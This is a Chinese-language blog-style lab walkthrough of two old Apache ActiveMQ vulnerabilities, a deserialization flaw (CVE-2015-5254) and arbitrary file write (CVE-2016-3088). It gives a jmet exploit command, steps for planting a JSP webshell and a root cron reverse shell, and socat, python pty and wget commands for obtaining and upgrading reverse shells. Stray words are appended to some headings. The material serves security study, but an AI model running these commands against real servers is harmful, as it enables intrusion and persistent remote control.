Apache ActiveMQ漏洞筆記

0x00 簡介html

Apache ActiveMQ是美國阿帕奇(Apache)軟件基金會所研發的一套開源的消息中間件,它支持Java消息服務、集羣、Spring Framework等。java

0x01 環境搭建python

本文所使用apachemq版本爲:5.11.0
下載地址:http://activemq.apache.org/activemq-5110-release.html
解壓後linux

 ./bin/activemq start 啓動 netstat -ntlp|grep 8161 查看是否啓動成功(8161爲默認端口)

1.png

0x02 反序列化漏洞(CVE-2015-5254)git

Apache ActiveMQ 5.13.0以前5.x版本中存在安全漏洞,該漏洞源於程序沒有限制可在代理中序列化的類。遠程攻擊者可藉助特製的序列化的Java Message Service(JMS)ObjectMessage對象利用該漏洞執行任意代碼。github

8161爲ActiveMQ的默認web管理端口,61616默認爲ActiveMQ消息隊列端口web

使用jmet進行漏洞利用,jmet下載地址:
https://github.com/matthiaskaiser/jmet/releasesshell

jmet構造event事件apache

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "payload" -Yp ROME 192.168.124.128 61616

報錯:
2.pngvim

在jmet目錄下建立external文件夾便可

構造反彈shell的payload發送到反序列化的消息隊列中
3.png

查看消息:

4.png

當點擊消息時觸發:
5.png

0x03 任意文件寫入漏洞(CVE-2016-3088)

該漏洞影響Apache ActiveMQ 5.x ~ 5.14.0,但在5.12.x~5.13.x版本中,已經默認關閉了fileserver這個應用(能夠在conf/jetty.xml中開啓之)。在5.14.0版本之後,完全刪除了fileserver應用。
ActiveMQ 中的 FileServer 服務容許用戶經過 HTTP PUT 方法上傳文件到指定目錄。FileServer是儲存文件的接口。FileServer支持寫入文件(不解析jsp),可是支持移動文件(Move)咱們能夠將jsp的文件PUT到FileServer下而後再經過Move指令移動到可執行目錄下訪問。
使用PUT方法進行上傳測試:
6.png

7.png

成功訪問說明文件已經put上去,咱們能夠直接put jsp小馬/大馬 移動到可解析目錄就能夠getshell了。
webapps/api/ 或者 webapps/admin/ 下均可以解析jsp。可是要移動文件到可解析目錄,須要獲取絕對路徑
這裏介紹兩種獲取絕對路徑的方法:
1.訪問http://ip:8161/admin/test/systemProperties.jsp

8.png

2.構造錯誤上傳路徑可爆出絕對路徑(此版本未成功,其餘版本可自行測試)

上傳Webshell:
9.png

根據獲取的絕對路徑,移動到Web目錄下的/root/apache-activemq-5.11.0/webapps/admin/test.jsp
10.png

訪問shell(需登陸,默認密碼 admin/admin)
11.png

同理也可寫入ssh key進行公鑰登陸

寫入corntab 反彈shell(須要activemq 以root權限運行)
12.png

移動到/etc/cron.d/root
13.png

監聽接收shell

14.png

crontab定時任務
文件寫入到 /etc/crontab.d/

 minute hour day month week command 順序:分     * * * * * command 表明每分鐘執行一次

0x04 TIPS

一般咱們測試中反彈的shell,操做很簡陋,有時候輸錯一個命令就意味着丟失shell,沒有tab,沒有vim,等等很不友好!
下面分享幾種得到完美shell的方法:
1.使用python pty模塊,能夠生成一個僞終端
當咱們接收到反彈回來的shell的時候執行

 python -c 'import pty; pty.spawn("/bin/bash")'

15.png

2.使用socat
Socat 像nc同樣是一個強大的工具,經過tcp鏈接,創建完整的tty,若是受害者服務器安裝了socat,你就能夠用它來反彈shell。若是沒有安裝可使用以下命令安裝:

 wget https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat;chmod +x socat

Listen:

 socat file:`tty`,raw,echo=0 tcp-listen:4444

Victim:

 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:4444

16.png

3.加了魔法的netcat
首先第一步咱們按照第一種方法python pty的方式獲取一個shell
17.png

接着用組合鍵「Ctrl-Z」將shell放到後臺中去。
檢查當前終端和styy信息:
18.png

須要的信息爲term類型(xterm)和當前stty大小(rows 33; columns 191)
讓shell繼續保持在後臺運行,如今將當前的STTY設置爲原始類型,並告訴它回顯輸入字符

19.png

用「fg」將shell提到前臺來,用「reset」重置終端

20.png

最後利用上面收集的信息設置shell終端類型以及stty大小。
21.png

參考連接:https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys

相關文章
相關標籤/搜索